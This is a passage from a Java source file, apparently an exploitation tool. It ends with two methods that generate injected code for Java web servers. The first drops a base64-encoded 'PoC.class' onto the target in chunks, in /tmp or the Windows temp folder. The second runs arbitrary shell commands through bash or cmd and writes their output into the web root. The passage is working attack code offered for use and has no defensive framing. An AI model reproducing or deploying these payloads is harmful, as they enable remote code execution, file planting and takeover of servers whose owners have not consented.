wAhAEAAIgBEACMARwAlAGYAJgBqACcAbgAsAHoALgCnAC8AsgAwALYAMgC3ADUAvgA3ACYAAAAWAAIAAAC/AIQAMgAAAAAAvwCFAIYAAQAzAAAAEwAJEgAzYQcAggT3AEYHAIIAAAYACgAjACQAAQAPAAABpgACAAwAAAB+KrYAOE0stgCHWToGvjYFAzYEpwBbGQYVBDJOLQS2AIsBOgctKrYAkToHGQe2ADi2AJWaAAwZBxu4AJmnAC8ZB8AAm1k6C742CgM2CacAExkLFQkyOggZCBu4AJmECQEVCRUKof/spwAEV4QEARUEFQWh/6QstgCdWU3H/4uxAAEAIwBmAGkAggADACUAAAA+AA8AAAA5AAUAOwAbADwAIAA9ACMAPwAqAEEANQBCADsAQwA+AEQAVgBFAFwARABmAEkAagA7AHQATAB9AE0AJgAAAD4ABgAAAH4AoAAyAAAAAAB+AIUAhgABAAUAeQChAKIAAgAbAE8AowCkAAMAIwBHAIQAMgAHAFYABgClADIACAAzAAAAhgAI/AAFBwA9/wAPAAcHAAMBBwA9AAEBBwCmAAD/ACgACAcAAwEHAD0HAIwBAQcApgcAAwAA/wAQAAwHAAMBBwA9BwCMAQEHAKYHAAMAAQEHAJsAAA//AAkACAcAAwEHAD0HAIwBAQcApgcAAwABBwCC/wAAAAcHAAMBBwA9AAEBBwCmAAACAAEAqAAAAAIAqQ=="; 723 | 724 | byte[] bytes = null; 725 | BASE64Decoder decoder = new BASE64Decoder(); 726 | try { 727 | bytes = decoder.decodeBuffer(content); 728 | } catch (IOException e) { 729 | //pass 730 | } 731 | 732 | int start = i * 1600; 733 | int end = ((start + 1600) < bytes.length) ? (start + 1600) : bytes.length; 734 | byte[] temp = Arrays.copyOfRange(bytes, start, end); 735 | 736 | BASE64Encoder encoder = new BASE64Encoder(); 737 | String part = encoder.encode(temp).replaceAll("\r|\n|\r\n", ""); 738 | 739 | 740 | 741 | String code = "String path;\n" + 742 | " if (java.io.File.separator.equals(\"/\")) {\n" + 743 | " path = \"/tmp/PoC.class\";\n" + 744 | " }else{\n" + 745 | " path = \"c:/windows/temp/PoC.class\";\n" + 746 | " }\n" + 747 | " java.io.OutputStream os = new java.io.FileOutputStream(path," + (i != 0) + ");\n" + 748 | " sun.misc.BASE64Decoder d = new sun.misc.BASE64Decoder();\n" + 749 | " java.io.InputStream in = new java.io.ByteArrayInputStream(d.decodeBuffer(\"" + part + "\"));\n" + 750 | " byte[] f = new byte[1024];\n" + 751 | " int l = 0;\n" + 752 | " while((l=in.read(f))!=-1){\n" + 753 | " os.write(f, 0, l);\n" + 754 | " }\n" + 755 | " in.close();\n" + 756 | " os.close();"; 757 | 758 | return code; 759 | } 760 | 761 | 762 | public static String wirteFileEcho(String command){ 763 | String path = command.split(":",4)[2]; 764 | String cmd = command.split(":",4)[3]; 765 | cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 766 | 767 | String code = "String[] c = new String[3];\n" + 768 | " String p = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n" + 769 | " p = p.substring(0, p.indexOf(\"WEB-INF\"));\n" + 770 | " p = java.net.URLDecoder.decode(p,\"utf-8\");\n" + 771 | " if(java.io.File.separator.equals(\"/\")){\n" + 772 | " c[0] = \"/bin/bash\";\n" + 773 | " c[1] = \"-c\";\n" + 774 | " }else{\n" + 775 | " c[0] = \"cmd\";\n" + 776 | " c[1] = \"/C\";\n" + 777 | " }\n" + 778 | " c[2] = \"" + cmd + "\";\n" + 779 | " java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();\n" + 780 | " String x = p + \"" + path + "\";\n" + 781 | " java.io.FileOutputStream os = new java.io.FileOutputStream(x);\n" + 782 | " byte[] buffer = new byte[1024];\n" + 783 | " int len = 0;\n" + 784 | " while((len = in.read(buffer)) != -1) {\n" + 785 | " os.write(buffer, 0, len);\n" + 786 | " }\n" + 787 | " in.close();\n" + 788 | " os.close();"; 789 | 790 | return code; 791 | } 792 | } --------------------------------------------------------------------------------